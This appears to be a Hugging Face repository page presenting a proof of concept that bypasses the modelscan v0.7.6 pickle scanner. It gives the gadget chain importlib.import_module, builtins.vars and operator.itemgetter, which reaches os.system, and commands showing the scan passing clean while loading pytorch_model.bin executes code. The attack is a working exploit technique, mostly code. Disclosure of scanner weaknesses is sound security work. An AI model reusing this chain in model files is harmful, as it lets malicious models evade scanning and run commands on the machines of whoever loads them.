You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

modelscan Bypass PoC: builtins.vars + operator.itemgetter

Vulnerability

Demonstrates a bypass of ProtectAI's modelscan v0.7.6 using:

  • importlib.import_module โ€” imports arbitrary modules (not blocked)
  • builtins.vars โ€” extracts module dict (passes substring filter)
  • operator.itemgetter โ€” extracts named items from dicts (not blocked; only attrgetter is blocked)

Impact

Full command execution while modelscan reports zero issues.

Chain

operator.itemgetter("system")(
    builtins.vars(
        importlib.import_module("os")
    )
)("echo pwned")

Reproduce

modelscan scan -p pytorch_model.bin   # โ†’ No issues found
python3 -c "import pickle; pickle.loads(open('pytorch_model.bin','rb').read())"  # โ†’ RCE
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐Ÿ™‹ Ask for provider support